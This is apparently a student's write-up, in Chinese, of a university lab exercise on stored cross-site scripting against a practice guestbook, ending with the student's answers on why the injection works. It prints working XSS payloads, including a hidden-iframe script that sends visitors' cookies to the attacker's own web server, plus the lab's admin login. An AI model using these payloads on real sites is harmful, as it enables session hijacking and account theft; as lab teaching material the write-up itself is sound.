实验链接
本实验主要介绍了跨站脚本攻击基础,通过本实验的学习,你能够了解跨站脚本攻击的概念,掌握形成跨站脚本漏洞的条件,学会对跨站脚本的几种利用方式。
链接:http://www.hetianlab.com/expc.do?ce=70c421d5-c3f4-4f4a-96c3-625e9f669255
实验简介
实验所属系列:WEB应用安全/信息安全基础/网络攻防工具
实验对象: 本科/专科信息安全专业
相关课程及专业:信息网络安全概论、网络攻击与防御技术、渗透测试技术
实验类别:实践实验类
实验目的
-
深入理解跨站脚本攻击概念;
-
掌握形成跨站脚本漏洞的条件;
-
掌握对跨站脚本的几种利用方式。
预备知识
跨站脚本攻击
-
跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。故将跨站脚本攻击缩写为XSS。
-
XSS工作原理
恶意web用户将代码植入到提供给其它用户使用的页面中,如果程序没有经过过滤或者过滤敏感字符不严密就直接输出或者写入数据库。合法用户在访问这些页面的时候,程序将数据库里面的信息输出,这些恶意代码就会被执行。
-
XSS漏洞的分类
-
本地利用漏洞,这种漏洞存在于页面中客户端脚本自身;
-
反射式漏洞,这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中;
-
存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
-
-
XSS攻击的危害
-
盗取用户cookie;
-
盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号;
-
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力;
-
盗窃企业重要的具有商业价值的资料;
-
强制发送电子邮件;
-
网站挂马;
-
……
-
实验环境
实验环境为两台互相连网Windows主机。
说明:
-
网络环境中有两台主机,有一台主机在实验环境可见并可登录,我们称为实验机(客户机);另一台主机不可见,但从实验机可以访问,这台主机即为本次实验任务的攻击目标,我们称为目标机。
-
实验机IP为:10.1.1.78;目标机IP为:10.1.1.2。
-
在目标主机上安装了跨站脚本攻击的演练平台(留言系统),供本次实验使用。
实验步骤
步骤一
预备任务:启动并访问留言系统
在预备任务中,我们将安装在目标主机上的跨站脚本攻击演练平台(留言系统)。
使用远程桌面登录至练习主机。
查看目前主机的ip,就是试验机ip,不需要再次进行远程连接。
使用浏览器打开http://10.1.1.2页面,进入跨站脚本攻击演练平台,如下图所示:
给留言系统添加留言,熟悉本系统环境:
管理留言。
点击“管理留言”,用户名:admin,密码:admin123,可以对刚留言进行管理:
存储式跨站脚本漏洞检测
登录到实验机上,用IE浏览器中打开留言系统(10.1.1.2):
在留言内容中填写包含有跨站测试的脚本 <script>alert("XSS TEST")</script>
交后观察返回效果。
如下图所示:
刷新留言系统,如果新加留言显示如下,则说明系统有存储式跨站漏洞:
思考: 测试当其他用户打开这个页面时,嵌入的代码是否会执行?分析留言系统代码,为什么填写的留言脚本会被执行?
步骤二
利用存储式跨站漏洞窃取用户cookie
使用跨站漏洞加载恶意网页
清空实验一任务,将恶意网页(假设http://10.1.1.2)放入留言系统数据库,并在用户端执行;
增加一留言,并在留言内容中改为 ,测试返回效果:
隐藏恶意网页。增加留言,内容包含以下语句:<iframe src=“http://www.baidu.com” width="0" height="0"></iframe>
,观察返回状态,网页被执行,但未在留言系统界面中显示:
这样如果是攻击脚本就可以用此方法隐藏自己。
思考:本留言系统是否有其他利用方式?
步骤三
利用存储式跨站漏洞窃取用户cookie
继续添加留言,包含以下内容:<script>document.write(document.cookie)</script>
结果如图所示:
继续添加留言,包含以下内容:<script>alert(document.cookie)</script>
比较有什么区别: write方式是将内容写入留言板,而alert方式则是将内放在弹窗上显示出来。
使用管理员登录,观察显示的cookie有什么不同?
管理员登录的cookie则会同时暴露用户名和密码,给网页的管理带来危害。
思考:这种窃取cookie的方式有什么缺点?有什么方法可以将用户的cookie窃取出并保存下来,而且用户看不到?
在攻击机上使用提供的页面搭建WEB服务器,以便进一步保存浏览用户的cookie:
打开 IIS 管理器:
设置默认网站的属性:
搭建IIS服务器过程中应注意如下几点:
-
在Web服务扩展中允许Active Server Pages服务
-
默认网站-属性-文档中添加index.asp内容页
-
在:C:\tools\跨站脚本攻击\中的cookies文件夹属性-安全-组或用户名称(G)-添加-高级-立即查找中找到IUSR_BJHIT-YXI7NEFU8用户,选择并确定
-
给IUSR_BJHIT-YXI7NEFU8用户写入权限
搭建好服务器后,在浏览器中输入本机IP地址进行测试,如下图所示,表示web服务正常进行:
返回http://10.1.1.2页面,继续添加留言,包含以下内容:<script>document.write("<iframe width=0 height=0 src='http://10.1.1.78/cookie.asp?cookie="+document.cookie+"'></iframe>");</script>
其中10.1.1.78是在自己搭建web的地址。
提交留言后观察目标服务器页面,没有看到异常现象,如下图所示:
再打开本地页面,查看接收浏览用户的cookie接收情况:
可以看到,已经接收到用户的cookie了,这些cookie包含了所有浏览该页面的信息,如果是登录用户的话,cookie包含了用户的用户名与密码信息。
答题
感想
先答题一波:
-
步骤一: 测试当其他用户打开这个页面时,嵌入的代码是否会执行?分析留言系统代码,为什么填写的留言脚本会被执行?
会,一旦打开此页面,嵌入的代码都会执行。
打开网页,查看源码,猜测留言板内容将会直接附在网页代码内:
尝试添加留言,输入恶意代码:
留言成功:
查看源代码:
可见,系统不经过处理,直接将留言板内容以文本的形式传给网页,遇到网页代码类型,网页将会自动处理,这就造成了XSS漏洞。攻击者可以根据自己的需要肆意改变网页,窃取想要的信息。 -
步骤二:本留言系统是否有其他利用方式?
利用了存储式漏洞。
-
步骤三:这种窃取cookie的方式有什么缺点?有什么方法可以将用户的cookie窃取出并保存下来,而且用户看不到?
会将窃取的信息返回至页面,所以用户都可以看到,并发现有漏洞。
将cookie窃取下来并保存,用户看不到在提问后面的操作已经实现,在此不再阐述。
最后是感想:之前做了挂马实验,未能很好的理解什么是XSS漏洞,今天通过这个实验仍是似懂非懂,但是最终的答题环节,通过查看网页源代码,才算是真正理解了XSS漏洞注入的原因及危害。这也是我们常说的,网页输入最好有审查,更甚者可以进行选择而非输入,一定程度上确保了网页的安全。